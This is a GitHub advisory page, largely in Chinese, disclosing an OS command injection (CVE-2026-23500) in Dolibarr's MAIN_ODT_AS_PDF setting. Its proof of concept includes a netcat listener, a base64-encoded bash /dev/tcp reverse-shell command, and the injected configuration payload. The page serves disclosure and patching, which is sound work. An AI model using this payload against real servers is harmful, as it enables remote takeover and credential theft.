lukasz-rybak/CVE-2026-23500

GitHub: lukasz-rybak/CVE-2026-23500

这是一个针对 Dolibarr ERP/CRM 系统 CVE-2026-23500 漏洞的详细分析与验证代码,展示了通过 MAIN_ODT_AS_PDF 配置导致远程代码执行的具体过程。

Stars: 0 | Forks: 0

# CVE-2026-23500: Dolibarr 中通过 MAIN_ODT_AS_PDF 配置导致的 OS 命令注入 (RCE) ## 概述 | 字段 | 详情 | |---|---| | **CVE ID** | [CVE-2026-23500](https://nvd.nist.gov/vuln/detail/CVE-2026-23500) | | **严重程度** | CRITICAL | | **公告** | [GHSA-w5j3-8fcr-h87w](https://github.com/Dolibarr/dolibarr/security/advisories/GHSA-w5j3-8fcr-h87w) | | **发现者** | [Lukasz Rybak](https://github.com/lukasz-rybak) | ## 受影响产品 - **Dolibarr/dolibarr** (版本: <= 22.0.4) - **修复版本:** 23.0 ## CWE 分类 - CWE-78: 对用于 OS 命令的特殊元素的中断不当 ('OS 命令注入') ## 详细信息 ### 摘要 经过身份验证的管理员可以通过将恶意 payload 注入到 `MAIN_ODT_AS_PDF` 配置常量中来执行任意操作系统命令。该漏洞的存在是因为应用程序在将命令路径传递给 ODT 到 PDF 转换过程中的 `exec()` 函数之前,未能正确验证或转义该路径。 ### 详情 漏洞位于 `htdocs/includes/odtphp/odf.php` 中。 当系统尝试将 ODT 文档转换为 PDF (例如,在商业报价单、发票中) 时,它会使用 `MAIN_ODT_AS_PDF` 全局设置构造一个 shell 命令。 代码片段 (`htdocs/includes/odtphp/odf.php`,约第 930 行): ``` $command = getDolGlobalString('MAIN_ODT_AS_PDF').' '.escapeshellcmd($name); // ... exec($command, $output_arr, $retval); ``` 虽然文件名 `$name` 使用 `escapeshellcmd()` 进行了清理,但配置变量 `MAIN_ODT_AS_PDF` 是直接从数据库中检索并在字符串开头进行拼接的。具有管理员权限的攻击者可以将此变量设置为包含命令分隔符 (如 `;`),后跟任意命令。 ### PoC **先决条件:** 1. 以管理员身份登录。 2. 确保已启用 "Commercial Proposals" (商业报价单) 模块并在其设置中激活了 "ODT templates" (ODT 模板)。 **复现步骤 (反弹 Shell):** 1. 在攻击者的机器上启动一个 netcat 监听器 (IP: `172.26.0.1`, 端口: `4445`): ``` nc -lvnp 4445 ``` 2. 准备 payload。为了避免特殊字符 (如 `&` 或 `>`) 被 Web 应用程序或 shell 转义,将反弹 shell 命令进行 Base64 编码: # 命令:bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1' echo "bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1'" | base64 # 输出:YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK 3. 导航至 **Home -> Setup -> Other Setup** (首页 -> 设置 -> 其他设置)。 4. 添加或修改常量 `MAIN_ODT_AS_PDF`,使用以下注入 payload: jodconverter; echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK | base64 -d | bash *(解释: `jodconverter` 满足初始检查,`;` 充当命令分隔符,管道符解码并执行 Base64 payload)。* image 5. 导航至 **Commerce -> New proposal** (商业 -> 新建报价单),创建一个草稿,选择一个 ODT 模板 (例如,`generic_proposal_odt`),然后点击 **Generate** (生成)。 image image image 6. 检查 netcat 监听器。将建立一个连接,从而获得服务器上的 shell: image ### 影响 **远程代码执行 (RCE)。** 获得管理员账户访问权限的攻击者 (或恶意管理员) 可以使用 Web 服务器用户 (通常是 `www-data`) 的权限在底层服务器上执行任意命令。这允许: - 读取敏感配置文件 (数据库凭据)。 - 修改应用程序代码。 - 根据服务器配置完全控制系统 (例如,docker 逃逸,横向移动)。 ## 参考 - https://github.com/Dolibarr/dolibarr/security/advisories/GHSA-w5j3-8fcr-h87w - https://nvd.nist.gov/vuln/detail/CVE-2026-23500 ## 免责声明 此 CVE 遵循协调漏洞披露实践进行了负责任的披露。此处提供的信息仅用于教育和防御目的。
标签:CISA项目, CMS, Cutter, CVE-2026-23500, CWE-78, Dolibarr, ERP, escapeshellcmd, exec, GHSA, ODT转PDF, OpenVAS, OS命令注入, PHP, PoC, RCE, Web安全, 命令拼接, 安全公告, 应用安全, 暴力破解, 权限绕过, 漏洞分析, 漏洞复现, 管理员权限, 编程工具, 蓝队分析, 路径探测, 远程代码执行